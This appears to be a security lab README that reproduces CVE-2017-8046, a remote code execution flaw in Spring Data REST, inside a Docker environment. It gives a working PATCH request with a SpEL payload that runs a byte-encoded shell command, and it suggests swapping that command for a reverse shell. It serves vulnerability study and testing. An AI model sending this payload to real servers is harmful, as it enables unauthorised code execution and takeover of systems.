# Spring Data REST Remote Code Execution (CVE-2017-8046)

[中文版本(Chinese version)](README.zh-cn.md)

Spring Data REST is built on top of Spring Data to help developers easily create REST-style web services. In the Spring Data REST version before 2.6.9 or 3.0.1, the PATCH method of the REST API (implementing [RFC6902](https://tools.ietf.org/html/rfc6902)), the path value is passed to `setValue`, which leads to the execution of SpEL expressions, triggering a remote code execution vulnerability.

Reference links:

- http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/
- https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html

## Environment Setup

Execute the following command to start a Web application based on Spring Data REST 2.6.6:

```
docker compose up -d
```

After the server starts, visit `http://your-ip:8080/` to see a JSON format response, indicating this is a RESTful API server.

## Vulnerability Reproduce

Visit `http://your-ip:8080/customers/1` to see a resource. We use a PATCH request to modify it:

```
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

```

The path value is a SpEL expression. Sending the above packet will execute the command `touch /tmp/success` represented by `new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}`. Then enter the container with `docker compose exec spring bash` to check:

![](1.png)

As you can see, the file "/tmp/success" has been created successfully.

Change the bytecode to a reverse shell command (Note: [Java reverse shell limitations and workarounds](http://www.jackson-t.ca/runtime-exec-payloads.html)), and successfully get the shell:

![](2.png)